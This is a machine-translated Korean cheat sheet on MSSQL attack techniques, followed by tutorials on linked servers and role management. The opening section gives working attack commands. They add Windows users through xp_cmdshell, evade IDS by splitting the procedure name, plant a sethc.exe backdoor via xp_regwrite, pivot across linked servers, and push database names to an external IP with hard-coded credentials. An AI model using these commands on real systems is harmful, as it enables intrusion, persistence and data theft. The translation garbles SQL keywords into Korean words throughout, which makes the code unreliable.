("E:\web\cmd.exe /c E:\web\net.exe 사용자 passwd /add")') 컴퓨터 사용자를 성공적으로 추가했습니다.
분할 명령 셸이 IDS를 우회하는 방법 @a sysname set 선언 @a='xp_'+'cmdshell' exec @a 'ipconfig' 선언
@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
레지스트리 하이재킹 시프트 편집 대장님.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Image File 실행 옵션\sethc.exe','디버거','REG_sz','c:\windows
\system32\cmd.exe' on'; --
링크서버 조회 고르다
SRVID,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e, isremote, rpc, dataaccess, master.dbo.sysservers 고르다
SRVID,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e, isremote, rpc, dataaccess, master.dbo.sysservers
linkserver2 쿼리 select distinct hostname,db_name(dbid),net_address,loginame,program_name
주인님.. sysprocesses
링크서버 조회 그리고 기타 로그인된 사용자들 Select * from [192.168.1.1].master.dbo.syslogins
링크서버 쿼리 모든 데이터베이스 linkedSrvWeb.master.dbo.sysdatabases 중에서 * 선택하십시오
LinkServer에서 확장 저장 수행 exec [ip].master.dbo.xp_cmdshell
링크서버의 모든 테이블을 조회하세요 [ip].master.dbo.sysobjects 중에서 * 선택하세요
OpenRowset에서 * 선택
('sqloledb','server=IP; uid=user; pwd=password','select @@version')
OpenQuery에서 * 선택
이름],'선택 @@version')
select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')'')
OpenQuery(GM_SERVER에서 * 선택, 'sysobjects에서 * 선택, xtype = (''U'')'')
선택 *
openquery(NDOORS,'Select IS_MEMBER(''db_owner')
Select * from openquery(toatdeweb,'select
master.dbo.sysservers'에서 srvname)
OpenDataSource에 삽입하기
('sqloledb','server=222.241.95.12; uid=scd; PWD=A123520; database=hack520').hack520.dbo.zhu 선택
이름은 master.dbo.sysdatabases에서 가져왔습니다 데이터베이스 생성 hack520 TABLE 생성 zhu(name nvarchar(256)
null); TABLE J8(id int NULL, name nvarchar(256) null);
OpenQuery에서 * 선택
(toatdeweb, 'Exec master.dbo.xp_cmdshell 'net user''에서 fmtonly로 설정)
대장님.. xp_dirtree
'c:\',1,1 쿼리 디렉터리를 수행합니다
임원 링크스.마스터.. xp_cmdshell 'ipconfig'
Select * from openquery(toatdeweb,'Set
fmtonly off exec master.dbo.xp_cmdshell''ipconfig /all''')
연결하세요. mysql 선택* Mem_DB에서 연결하세요. UserDB.dbo.AdminList
교장님.. XP_dirtree 'c:\',1,1
임원
master.dbo.xp_cmdshell '디르'
[표시]에서 count(*)를 선택합니다 현재 테이블에 얼마나 많은 데이터가 있는지 조회하세요
별개의 호스트네임을 선택하세요,db_name(dbid),net_address,loginame,program_name
주인님께서.. sysprocesses
GameDB01에서 * 선택하세요. Server01.dbo.cabal_character_table 여기서 이름='
돼지'
삭제하면 다음과 같이 표시됩니다: 데이터베이스가 사용 중이며 삭제할 수 없습니다.
삭제하고 싶은 데이터베이스를 클릭하면 이벤트 뷰어를 엽니다.
입력:
사용
주인님 가자 그 다음 입력: @d 바르차르(8000) 선언 집합 @d= ' ' 선택 @d=@d+ ' 킬
'+cast(spid as varchar)+char(13) 주인님께서.. dbid=db_id('라이브러리 이름') 임원(@d) -- 먼저 이 데이터베이스에 연결된 프로세스를 삭제하는 코드를 사용하세요
MSSQL은 LinkServer를 통해 Oracle을 운영합니다
1) SQL_SERVER 2005 서버에 오라클 설치
9i 클라이언트. C:\ora92i\ 디렉터리에 설치한다고 가정해 봅시다. D: 파티션이 NTFS 파티션이라면, ORACLE에 설치된 디렉터리를 사용하는 디렉터리로 설정해야 합니다
구독자는 실행, 추가, 삭제할 권리가 있습니다.
2) C:\ora92i\network\ADMIN\tnsnames.ora 파일을 설정하세요. (다음 빨간 글씨는 구성의 예시입니다)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.11)(PORT= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = 오클)
)
)
3) DOS 모드에서 다음 명령을 실행하여 ORACLE 클라이언트가 올바르게 설치되었는지 확인하세요.
SQLPlus 사용자/password@ORCL
4) 시작 - 제어판 - 서비스를 열고 분산 트랜잭션 코디네이터 서비스가 시작되었는지 확인하세요.
5) 오픈 SQL SERVER 관리 스튜디오, 인스턴스 이름(ORCL) - 서버 객체(오른쪽 클릭) - 새 연결 서버.
1.
링크 서버: OracleTest와 같은 링크된 서버 이름을 작성하세요
2. 서버 유형, 다른 데이터 소스 선택
3. 접근 인터페이스: OLE DB용 Oracle Provider 선택
4. 제품명: Write Oracle
5. 자료 출처: 작성
tnsnames.ora 파일에 설정된 서비스 이름, 예를 들어 ORCL
6. 액세스 인터페이스 문자열: userid=sysdba로 사용; password=password
7. 보안 옵션 선택(Select Security Options) 페이지에서 이 설치 컨텍스트를 사용하여 연결을 설정합니다:
a) 원격 로그인: 사용자 (다른 사용자, 시스템 아님)
b)
비밀번호: 비밀번호
8. 로컬 로그인에서 원격 사용자 시스템 시스템에 "NT AUTHORITY\SYSTEM"을 설정하고 비밀번호를 설정하세요
9.
확실한가요
6) SQL을 작성하는 방법은 두 가지가 있습니다
a) T-SQL 문법 사용:
선택 *
OraTest.ERP.BAS_ITEM_CLASS
SQL 쿼리 분석기에서 SQL 문장을 입력할 때는 중국어 전폭과 반폭 교환에 주의하세요
진짜!
b) PLSQL 문법 사용: SELECT * FROM openquery(OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) 두 번째 접근 방식은 첫 번째 접근법보다 약 50% 빠릅니다; 두 번째 접근 방식은 직접 연결되어 있습니다
ORACLE도 비교 가능하며; 첫 번째 접근 방식은 다음과 같은 예상치 못한 오류를 초래할 수 있습니다: 테이블이 존재하지 않거나 현재 사용자도 없습니다
테이블에 접근할 수 없고, 이런 식으로 진행됩니다.
d) 접근해야 할 열이 정밀도 없이 데이터 타입을 사용할 경우, 이 두 가지 모두 해당됩니다
이것은 ORACLE의 버그로, 수정할 수 없으며, 쿼리 문에 대한 특별한 처리를 통해서만 피할 수 있습니다:
OLE DB 제공업체인 'OraOLEDB.Oracle'이 제공하는 열의 메타데이터는 일관성이 없습니다. 메타데이터 정보는 실행 시 변경됩니다.
MSSQL 추가
사용자를 삭제하고 권한을 부여하세요
도서관 이름을 사용하세요 가자 --사용자 추가 exec sp_addlogin 'test' -- 로그인 추가하기 임원
sp_grantdbaccess N'test' - 현재 데이터베이스의 정식 사용자로 간주됨 임원 sp_addrolemember N'db_owner',
N'test' - 자신의 데이터베이스에 모든 권한을 부여합니다 --이로 인해 사용자는 자신의 데이터베이스와 데이터베이스에 포함된 것에만 접근할 수 있게 됩니다
게스트 사용자를 위한 공개 테이블 가자 --테스트 사용자 제거 exec sp_revokedbaccess N'test' -- 데이터베이스 접근 권한을 제거함
한계 exec sp_droplogin N'test' -- 로그인 삭제 Enterprise Manager에서 생성한다면 다음을 사용하세요: 엔터프라이즈 매니저 - 보안
성 --우클릭 로그인--새 로그인 일반 항목 --이름에 사용자 이름을 입력하세요
--인증 방법은 필요에 따라 선택됩니다(Windows 인증을 사용 중이라면, 먼저 운영체제 사용자 중 새 사용자를 생성해야 합니다)
--기본 설정에서 새 사용자가 접근할 데이터베이스 이름을 선택하세요 서버 역할 항목 이 안에 아무것도 선택하지 마세요 데이터베이스
접근 항목 생성한 사용자의 데이터베이스 이름을 확인하세요 데이터베이스 역할에 허용하고, "public", "db_ownew"을 확인하세요. 네, 이거
샘플로 생성된 사용자는 위 문장에서 생성된 사용자와 동일합니다
마지막 단계는 특정 사용자에 대한 특정 접근 권한을 설정하는 것으로, 이는 다음 최소한의 예시를 참고할 수 있습니다:
--지정된 테이블에만 접근할 수 있는 사용자 추가: exec sp_addlogin '사용자 이름', '비밀번호', '기본 데이터베이스 이름'
--데이터베이스에 추가 '사용자 이름'sp_grantdbaccess exec
--전체 테이블 권한 할당 테이블1에서 [사용자 이름] 로 선택, 삽입, 업데이트, 삭제를 부여합니다. --특정 열에 권한을 할당합니다 GRANT SELECT, table1(id,AA) 업데이트 [username]
구체적인 보안 설정과 이론적 지식은 SQL 온라인 도움말을 참고해 주세요
고정 데이터베이스 역할 설명 db_owner 데이터베이스에 대한 완전한 권한을 가지고 있습니다.
db_accessadmin 사용자 ID를 추가하거나 제거할 수 있습니다.
db_securityadmin 전체 권한, 객체 소유권, 역할 및 역할 멤버십을 관리할 수 있습니다.
db_ddladmin 모든 DDL을 발급할 수 있지만, GRANT, REVOKE, DENY 진술서는 할 수 없습니다.
db_backupoperator DBCC, CHECKPOINT, BACKUP 문을 발행할 수 있습니다.
db_datareader 데이터베이스 내 어떤 사용자 테이블에서든 모든 데이터를 선택할 수 있습니다.
db_datawriter 데이터베이스 내 어떤 사용자 테이블에 있는 모든 데이터를 변경할 수 있습니다.
db_denydatareader 데이터베이스 내 어떤 사용자 테이블에서도 데이터를 선택할 수 없습니다.
db_denydatawriter 데이터베이스 내 어떤 사용자 테이블의 데이터는 변경할 수 없습니다.
db_datareader, db_datawriter, db_accessadmin 선택해야 해요
5. SQL Server 인스턴스가 단일 사용자 모드로 시작된 후, Windows 관리자 계정은 sqlcmd 도구를 사용해 Windows 인증 모드로 연결할 수 있습니다
SQL Server. "sp_addsrvrolemember" 같은 T-SQL 명령어를 사용해 기존 로그인 정보를 시스템 관리자 서버 역할에 추가할 수 있습니다
또는 새 로그인 계정을 만드세요. 예시 문장은 다음과 같습니다:
임원sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';
가세요
시스템 관리자 권한 추가하기
(1) 서버 역할 관리
SQL Server에서는 SQL Server 역할 관리를 구현하는 두 가지 주요 저장 프로시저가 있습니다:
sp_addsrvrolemember
그리고 sp_dropsrvrolemember
sp_addsrvrolemember 서버 역할에 로그인 계정을 추가하면 그 서버 역할의 멤버로 만들 수 있습니다. 문법은 다음과 같습니다: sp_addsrvrolemember
로그인, 역할
sp_dropsrvrolemember 서버 역할에서 로그인 계정을 삭제할 수 있고, 서버 역할에서 제거되면 더 이상 서버 역할을 갖지 않게 됩니다
권한이 설정되어 있습니다. 문법은 다음과 같습니다: sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'
그곳으로
@loginname 로그인한 사용자의 이름입니다; @rolename 서버 역할입니다.
(2) 데이터베이스 역할 관리
SQL Server에서는 데이터베이스 관리가 지원됩니다
저장 프로시저에는 여섯 가지 주요 유형이 있으며, 그 구체적인 의미와 문법은 다음과 같습니다:
sp_addrole: 새로운 데이터베이스 역할을 생성하는 데 사용; sp_addrole
역할, 소유주
sp_droprole: 현재 데이터베이스 역할에서 데이터베이스 역할을 제거하는 데 사용; sp_droprole 역할
sp_helprole:
현재 데이터베이스 내 모든 데이터베이스 역할에 관한 모든 정보를 표시하는 데 사용됩니다; sp_helprole ['역할']
sp_addrolemember: 데이터베이스로 전송하는 데 사용됨
데이터베이스 사용자를 역할에 추가하는데, 이 역할은 사용자 정의 표준 역할이거나 고정된 데이터베이스 역할일 수 있으나
애플리케이션 역할. sp_addrolemember 역할, security_account
sp_droprolemember: 특정 캐릭터를 삭제하는 데 사용됨
가구; sp_droprolemember 역할, security_account
sp_helprolemember: 데이터베이스 역할을 모두 표시하는 데 사용됨
。 sp_helprolemember ['역할']
MSSQL LINKSERVER 쿼리
---------------------------------------------------------------------------------- -- 저자 :
htl258(토니) -- 날짜 : 2010-06-25 22:23:18 -- 버전: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (인텔 X86) -- 2008년 7월 9일 14:43:34 -- 저작권 (c) 1988-2008 마이크로소프트 코퍼레이션 --
Windows NT 5.1 개발자 에디션 (빌드 2600: 서비스 팩 2) -- 블로그 : -- 제목: 서로 다른 서버 데이터베이스 간의 SQL 데이터 작업 ---------------------------------------------------------------------------------- --1. 링크 서버 생성 --1.1 링크 이름 생성 EXEC sp_addlinkedserver 'LinkName', ''', 'SQLOLEDB', '원격 서버 이름
또는 IP 주소' -- 사용자 지정 인스턴스 이름이 있다면 "\instance name"을 추가하세요
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 로그인 생성 (또는 링크 서버 로그인 맵 생성) (한 가지 방법만 선택하세요) --1.2.1 Windows 인증으로 로그인하세요 임원sp_addlinkedsrvlogin '링크네임' --또는 '링크네임', 'true'sp_addlinkedsrvlogin EXEC도
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 SQL 인증으로 로그인하기 임시 sp_addlinkedsrvlogin '링크 이름', 'false', NULL, '사용자 이름', '비밀번호'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink', 'false', null, 'sa', '123' */ --2. 링크 서버 관련 데이터 작업 --2.1 쿼리 예시 SELECT * FROM LinkName.database name.schema name.table name
/*例如:SELECT *
출처: TonyLink.Mydb.dbo.tb */ -- 2.2 가져오기 예시 SELECT * IN table name FROM LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb
출처: TonyLink.Mydb.dbo.tb */ -- 2.3 업데이트 예시 업데이트: 링크네임.데이터베이스 이름.스키마 이름.테이블 이름 SET 필드='값' WHERE 필드='condition'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Persons='g' WHERE Persons='a' */ -- 2.4 삭제 예시 DELETE LinkName.Database Name.Schema Name.Table Name WHERE, 필드 이름='condition'
/*例如:DELETE
TonyLink.Mydb.dbo.tb WHERE Persons='g' */ --3은 rowset 함수(OPENQUERY/OPENROWSET/OPENDATASOURCE)를 통해 가능합니다.
방법
- 3.1 OPENQUERY 메서드 (방금 만든 링크 서버의 도움 필요): -- 3.1.1 쿼리 예시 OPENQUERY(LinkName)에서 * 선택하세요, '데이터베이스 이름에서 * 선택하세요. 건축 이름. 테이블 이름')
/* 예를 들어: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 임포트 예시 --3.1.2.1 모든 열을 가져오기 INSERT OPENQUERY(LinkName, 'SELECT * FROM 데이터베이스 이름. 건축 이름. 테이블 이름
') 로컬 테이블에서 * 선택
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
TB에서 */ --3.1.2.2 지정된 열을 가져오세요 INSERT OPENQUERY(LinkName, 'SELECT * FROM 데이터베이스 이름. 건축 이름. 테이블 이름') (열, 열...) SELECT 열,
기둥... 로컬 테이블에서
/* 예를 들어: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) 고르다
범위, 레벨, 결핵 인원 */ --3.1.3 업데이트 예시 OPEN QUERY(LinkName, 'SELECT * FROM 데이터베이스 이름. 건축 이름. 테이블 이름') SET 필드 = '값' 여기서 단어
세그먼트 = '조건'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Persons='a' */ --3.1.4 예시 삭제 OPEN QUERY(LinkName, 데이터베이스 이름에서 * SELECT * DELETE. 건축 이름. 테이블 이름') 여기서 필드 이름='condition'
/*例
예를 들어: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */ --3.2 OPENROWSET 메서드(생성된 링크 이름을 사용할 필요는 없습니다). 연결된 인스턴스 이름이 기본값이 아니라면, SQL 서버 이름이나 IP 주소로 설정해야 합니다.
"\인스턴스 이름") --3.2.1 쿼리 예시 --3.2.1.1 Windows 인증 방법 쿼리 (다음 방법 중 하나면 충분함) SELECT * FROM OPENROWSET('SQLOLEDB', 'SERVER=SQL SERVER NAME OR
IP 주소; Trusted_Connection=yes', 데이터베이스 이름. 건축 이름. 테이블 이름) SELECT * FROM OPENROWSET('SQLNCLI',
'server=sql 서버 이름 또는 IP 주소; Trusted_Connection=yes', 데이터베이스 이름. 건축 이름. 테이블 이름) 선택 *
OPENROWSET('SQLOLEDB', 'server=sql 서버 이름 또는 IP 주소; Trusted_Connection=yes','데이터베이스에서 * 선택
이름. 건축 이름. 테이블 이름') OPENROWSET('sqlncli', 'server=sql server 이름 또는 IP 주소)에서 * 선택하세요
주소; Trusted_Connection=예','데이터베이스 이름에서 * 선택. 건축 이름. 테이블 이름')
/* 예를 들어: OPENROWSET에서 * 선택하세요
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=예', Mydb.dbo.tb)
또는 OPENROWSET에서 * 선택
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=예', Mydb.dbo.tb)
또는 : SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=예','선택 *
출처: Mydb.dbo.tb')
또는 : SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=예','선택 *
출처: Mydb.dbo.tb') */ --3.2.1.2 SQL 인증 방법 쿼리 (다음 방법 중 하나만 있으면 충분함) OPENROWSET에서 * 선택
('SQLOLEDB', 'server=sql 서버 이름 또는 IP 주소; uid=username; PWD=password', 데이터베이스 이름. 건축 이름. 테이블 이름) 선택 *
OPENROWSET('SQLNCLI', 'server=sql 서버 이름 또는 IP 주소; uid=username; PWD=password', 데이터베이스 이름. 건축 이름. 테이블 이름) OPENROWSET('SQLOLEDB', 'server=sql 서버 이름 또는 IP 주소)에서 * 선택하세요; uid=username; pwd=password','SELECT *
출처 데이터베이스 이름. 건축 이름. 테이블 이름') OPENROWSET('sqlncli', 'server=sql 서버 이름 또는 IP 주소; UID=
사용자 이름; pwd=password','데이터베이스 이름에서 * 선택. 건축 이름. 테이블 이름') SELECT * FROM OPENROWSET('SQLOLEDB', 'SQL
서버 이름'; 'username'; 'password', 데이터베이스 이름. 건축 이름. 테이블 이름) SELECT * FROM OPENROWSET('SQLNCLI', 'SQL SERVER NAME)
'; 'username'; 'password', 데이터베이스 이름. 건축 이름. 테이블 이름) OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; 에서 * 선택하세요; ' 사용자
이름'; '비밀번호', '데이터베이스 이름에서 * 선택. 건축 이름. 테이블 이름') SELECT * FROM OPENROWSET('SQLNCLI', 'SQL SERVER
이름'; 'username'; '비밀번호', '데이터베이스 이름에서 * 선택. 건축 이름. 테이블 이름')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) 또는 OPENROWSET에서 * 선택
('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) 또는 OPENROWSET에서 * 선택
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')
또는 : SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM
Mydb.dbo.tb')
또는 : OPENROWSET('SQLOLEDB','192.168.58.208'; '사'; '123', mydb.dbo.tb)
또는 : SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; '사'; '123', mydb.dbo.tb)
또는 : OPENROWSET('SQLOLEDB','192.168.58.208'; '사'; '123','Mydb.dbo.tb에서 * 선택
또는 : SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; '사'; '123','Mydb.dbo.tb에서 * 선택 */ --3.2.2 가져오기 예시 --3.2.2.1 모든 열을 가져오기 INSERT OPENROWSET('SQLOLEDB', 'SERVER=SQL SERVER NAME OR IP ADDRESS)
주소; uid=username; PWD=password', 데이터베이스 이름. 건축 이름. 테이블 이름) 로컬 테이블에서 선택 *
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) 선택 * TB에서 */ --3.2.2.2 가져오기
열 지정하기 INSERT OPENROWSET('SQLOLEDB', 'SERVER=SQL SERVER 이름 또는 IP 주소; uid=username; PWD=password', 데이터베이스 이름. 선반
구성 이름. 테이블 이름) (열, 열...) 선택, 열... 로컬 테이블에서
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123', mydb.dbo.tb)(RANGE,LEVEL,Persons) 고르다
범위, 레벨, 결핵 인원 */ --참고: 더 많은 대체 방법은 .2.1 쿼리 예제를 참고하시고, OPENROWSET 함수를 교체하면 됩니다
내용이 충분합니다. --3.2.3 업데이트 예시 UPDATE OPENROWSET('SQLOLEDB', 'SERVER=SQL SERVER 이름 또는 IP 주소; uid=username
;p wd=password', 데이터베이스 이름. 건축 이름. 테이블 이름) SET 필드 = '값' 여기서 필드 = '조건'
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET Persons='g' 여기서 Persons='a' */ --참고: 더 많은 대체 방법은 .2.1 쿼리 예제를 참고하세요. OPENROWSET의 내용을 교체하면 됩니다. --3.2.4 표시 삭제
예시 OPEN ROWSET('SQLOLEDB', 'server=sql 서버 이름 또는 IP 주소; uid=username; PWD=password', 데이터베이스 이름. 스키마 이름
.테이블 이름) 여기서 필드 이름='condition'
/* 예를 들어: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) 여기서
Persons='g' */ --주: 더 다른 방법은 .2.1 쿼리 예제를 참고하세요. OPENROWSET의 콘텐츠를 교체하면 됩니다. --3.3 OPENDATASOURCE 방법
(생성된 링크 이름을 사용할 필요는 없습니다.) 연결 인스턴스 이름이 기본값이 아니라면, SQL 서버 이름이나 IP 주소 뒤에 \instance name을 추가해야 합니다
") --3.3.1 쿼리 예시 --3.3.1.1 Windows 인증 방법 조회 (다음 방법 중 하나면 충분함) SELECT * FROM OPENDATASOURCE('SQLOLEDB',
'server=sql 서버 이름 또는 IP 주소; Trusted_Connection=예'). 데이터베이스 이름. 건축 이름. 테이블 이름 선택 *
OPENDATASOURCE('SQLNCLI', 'server=sql 서버 이름 또는 IP 주소; Trusted_Connection=예'). 데이터베이스 이름. 건축 이름.
테이블 이름
/* 예를 들어: OPENDATASOURCE에서 * 선택하세요
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=예'). mydb.dbo.tb
또는 : OPENDATASOURCE에서 선택
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=예'). mydb.dbo.tb */ --3.3.1.2 SQL 인증 방법 쿼리 (다음 방법 중 하나면 충분함) SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'SERVER=SQL SERVER NAME OR
IP 주소; uid=username; PWD=password'). 데이터베이스 이름. 건축 이름. 테이블 이름 SELECT * FROM OPENDATASOURCE('SQLNCLI', 'SERVER=SQL SERVER 이름 또는 IP 주소; uid=user
이름; PWD=password'). 데이터베이스 이름. 건축 이름. 테이블 이름 OPENDATASOURCE('SQLOLEDB', 'Data Source=SQL 서버 이름 또는 IP 주소)에서 * 선택하세요
주소; uid=username; PWD=password'). 데이터베이스 이름. 건축 이름. 테이블 이름 OPENDATASOURCE('SQLNCLI', 'Data Source=SQL 서버 이름 또는 IP 주소)에서 * 선택하세요
주소; uid=username; PWD=password'). 데이터베이스 이름. 건축 이름. 테이블 이름
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
또는 SELECT: OPEN DATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
또는 OPENDATASOURCE('sqloledb','Data)에서 * 선택하세요
출처=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
또는 OPENDATASOURCE('SQLNCLI','Data)에서 * 선택하세요
출처=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ 모든 열을 가져오기 OPENDATASOURCE('sqloledb', 'server=sql 서버 이름 또는 IP 주소; uid=username; PWD=password').
도서관 이름에 따르면. 건축 이름. 테이블 이름 로컬 테이블에서 선택 *
/* 예를 들어: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb 고르다
* TB에서 */ --3.3.2.2 지정된 열을 가져오세요 OPENDATASOURCE('sqloledb', 'server=sql 서버 이름 또는 IP 주소; uid=username; PWD=password').
도서관 이름에 따르면. 건축 이름. 테이블 이름 (열, 열...) 선택, 열... 로컬 테이블에서
/* 예를 들어: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(거리, 레벨, 인원) TB에서 범위, 레벨, 인물 선택 */ --주: 더 다른 대안 방법은 .3.1 쿼리 예제를 참고하세요. 라인 세트 함수(OPENDATASOURCE)에서 내용을 교체하면 됩니다. --3.3.3 업데이트 예시 UPDATE OPENDATASOURCE('SQLOLEDB', 'SERVER=SQL SERVER 이름 또는 IP 주소; uid=username; PWD=password'). 데이터베이스 이름. 건축 이름. 테이블 이름 SET 필드 = '값' 여기서 필드 = '조건'
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Persons='g' 여기서 Persons='a' */ --주: 더 다른 대안 방법은 .3.1 쿼리 예제를 참고하세요. 라인 세트 함수(OPENDATASOURCE)에서 내용을 교체하면 됩니다. --3.3.4 삭제 예시 DELETE, OPENDATASOURCE('SQLOLEDB', 'server=sql 서버 이름 또는 IP 주소; uid=username; PWD=password'). 데이터베이스 이름. 건축 이름. 테이블 이름 여기서 필드 이름='condition'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb 여기서 Persons='g' */ - 참고: 더 많은 대안
.3.1 쿼리 예제를 참고하세요. rowset 함수(OPENDATASOURCE)에서 콘텐츠를 교체하면 됩니다. -- 링크된 서버 메서드를 삭제하세요 --앞으로 링크 정보를 더 이상 사용하지 않으시면, 링크 정보를 삭제하실 수 있습니다 --4.1 로그인 정보를 삭제하기(또는 연결된 서버 로그인 이름 맵을 삭제하기) 임sp_droplinkedsrvlogin '링크네임', NULL
/* 예를 들어: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 연결된 서버 이름을 삭제하세요 EXEC sp_dropserver '링크 이름', 'droplogins' — droplogins가 명시되어 있다면, 연결된 서버를 삭제하기 전에 로그인 맵을 삭제해야 합니다
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--첨부
: 제공자 이름 (EXEC 마스터)를 얻는 방법. xp_enum_oledb_providers) 캐스트([제공자 이름] AS 선택
VARCHAR(30)) 제공자명, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion 보낸 사람
OPENROWSET( 'SQLOLEDB', '서버=.; Trusted_Connection=예', '완전 발사; 집행위원회
주인님.. xp_enum_oledb_providers'
)
|